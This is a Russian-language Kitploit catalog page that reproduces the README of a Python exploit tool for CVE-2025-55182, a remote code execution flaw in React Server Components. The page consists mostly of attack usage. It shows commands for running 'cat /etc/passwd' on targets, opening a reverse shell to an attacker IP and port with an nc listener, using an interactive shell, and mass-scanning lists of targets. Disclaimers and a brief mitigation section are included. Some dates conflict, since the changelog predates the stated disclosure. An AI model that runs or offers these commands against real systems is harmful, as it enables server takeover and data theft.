Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182_liyon — Эксплойт на Python для CVE-2025-55182 (RCE в React Server Components) с интерактивной оболочкой, обратной оболочкой, массовым сканированием и уязвимой средой на основе Docker для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/hujiaozhuzhu/cve-2025-55182_liyon
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed Teaming
Инструмент Удаленного Доступа
GitHubhujiaozhuzhu/cve-2025-55182_liyon

CVE-2025-55182_liyon

Эксплойт на Python для CVE-2025-55182 (RCE в React Server Components) с интерактивной оболочкой, обратной оболочкой, массовым сканированием и уязвимой средой на основе Docker для авторизованного тестирования безопасности.

Репозиторий
336 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - Удаленное выполнение кода в React Server Components

⚠️ Правовое заявление: Этот инструмент предназначен только для исследований в области безопасности, авторизованного тестирования на проникновение и образовательных целей. Использование этого инструмента против целевых систем без явного разрешения незаконно и неэтично.

📋 Обзор

CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (RSC), позволяющая неаутентифицированному злоумышленнику выполнить произвольный код на сервере через вредоносную десериализацию JavaScript.

🎯 Сведения об уязвимости

СвойствоЗначение
CVE IDCVE-2025-55182
Оценка CVSS9.8 (Критическая)
Вектор атакиСеть
Сложность атакиНизкая
Необходимые привилегииНет
Взаимодействие пользователяНет
ВлияниеВысокое (конфиденциальность, целостность, доступность)
Затронутые компонентыReact Server Components (RSC)
Затронутые версииReact 18.x – 19.x (определенные сборки)
Дата раскрытия3 декабря 2025 г.
Псевдоним CVEReact2Shell

🔍 Технические детали

Основная причина: React Server Components некорректно десериализуют предоставленные пользователем JavaScript-объекты при обработке полезной нагрузки RSC, что позволяет злоумышленнику внедрить вредоносный код, выполняемый на сервере.

Вектор атаки: Вредоносная полезная нагрузка RSC в HTTP-запросе Последствия: Удаленное выполнение кода без аутентификации, захват сервера, утечка данных

🚀 Функциональные возможности

  • ✅ Однофайловый Python-эксплойт с интерактивной оболочкой
  • ✅ Автоматическое обнаружение уязвимости
  • ✅ Многопоточное массовое сканирование
  • ✅ Уязвимая среда React на основе Docker
  • ✅ Поддержка нескольких типов полезных нагрузок
  • ✅ Подробное логирование и обработка ошибок
  • ✅ Установка обратной оболочки
  • ✅ Кодирование полезных нагрузок в Base64

📦 Установка

# Клонирование репозитория
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju

# Установка зависимостей
pip install -r requirements.txt

🎯 Использование

Быстрый старт

# Установка зависимостей
pip install requests

# Выполнение команды на уязвимой цели
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"

# Интерактивный режим оболочки
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell

Дополнительные параметры

# Пользовательская команда
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"

# Установка обратной оболочки с пользовательским IP/портом
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

# Массовое сканирование
python exploit/batch_scanner.py -f targets.txt

# Подробный режим
python exploit/cve_2025_55182.py -u http://target.com -v

# Пользовательский User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"

🏗️ Настройка лабораторной среды

Использование Docker (рекомендуется)

cd target
docker-compose up -d

Настройка вручную

cd target
npm install
npm run dev

Доступ к уязвимому приложению: http://localhost:3000

📊 Сценарии атаки

Сценарий 1: Выполнение команды

Выполнение одиночной команды на уязвимом сервере:

python exploit/cve_2025_55182.py -u http://target.com -c "id"

Ожидаемый вывод:

[+] Уязвимость обнаружена: React Server Components RCE
[+] Выполнение команды: id
[+] Ответ:
uid=0(root) gid=0(root) groups=0(root)

Сценарий 2: Интерактивная оболочка

Получение интерактивной оболочки на уязвимом сервере:

python exploit/cve_2025_55182.py -u http://target.com --shell

Функции:

  • Автодополнение по Tab
  • История команд
  • Несколько сессий оболочки
  • Загрузка/выгрузка файлов

Сценарий 3: Обратная оболочка

Установка соединения с обратной оболочкой:

# На машине атакующего
nc -lvnp 4444

# Запуск эксплойта
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

Сценарий 4: Массовое сканирование

Сканирование нескольких целей на наличие уязвимости:

# Создание файла с целями
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF

# Запуск массового сканера
python exploit/batch_scanner.py -f targets.txt

🛡️ Смягчение и защита

Немедленные действия

  1. Обновление React

    npm install react@latest
    # Обновление до исправленной версии
    
  2. Блокировка запросов RSC

    // Временное отключение RSC
    const config = {
      enableRSC: false
    }
    
  3. Правила WAF

    • Блокировка запросов, содержащих шаблоны RSC
    • Мониторинг подозрительных полезных нагрузок JavaScript
    • Ограничение частоты для конечных точек RSC

Долгосрочные исправления

  • Внедрение проверки ввода для полезных нагрузок RSC
  • Использование изолированного выполнения JavaScript
  • Регулярный аудит безопасности
  • Мониторинг несанкционированного доступа к RSC

📚 Документация

  • Анализ уязвимости — технический углубленный анализ
  • Руководство по использованию — полные инструкции по применению
  • Защита и исправление — усиление безопасности

🧪 Тестирование

Ручное тестирование

# Настройка уязвимого окружения
cd target && docker-compose up -d

# Тестирование уязвимости
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"

Автоматическое тестирование

# Запуск набора тестов
python tests/test_exploit.py

🔬 Ссылки для исследования

  • Запись CVE-2025-55182 в NVD
  • Бюллетень безопасности React
  • Блог исследования Wiz
  • Анализ Project Zero

📝 Журнал изменений

v1.0.0 (2025-04-02)

  • Первоначальный выпуск
  • Эксплойт RCE для одной цели
  • Интерактивный режим оболочки
  • Поддержка обратной оболочки
  • Массовое сканирование
  • Docker-среда с уязвимостью
  • Полная документация

🎓 Образовательные цели

Этот инструмент демонстрирует:

  • Как работают уязвимости RCE в React
  • Правильные практики разработки эксплойтов
  • Методы оценки безопасности
  • Принципы этичного хакинга

👥 Соавторы

  • Исследователь безопасности — начальная реализация

📄 Лицензия

Этот проект лицензирован под лицензией MIT — см. файл LICENSE.

⚠️ Правовое и этическое заявление

Важно: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.

Правовые требования

  • Используйте только на системах, которыми вы владеете или на которые имеете явное разрешение для тестирования
  • Соблюдайте все применимые законы и правила
  • Ответственно сообщайте об уязвимостях поставщикам
  • Следуйте принципам ответственного раскрытия информации

Запрещенные действия

  • Несанкционированный доступ к компьютерным системам
  • Нацеливание на системы без разрешения
  • Использование уязвимости в злонамеренных целях
  • Разглашение или уничтожение данных

Юридические последствия

  • Уголовные обвинения за несанкционированный доступ
  • Гражданская ответственность за ущерб
  • Возможное тюремное заключение
  • Профессиональные последствия
Скачать инструмент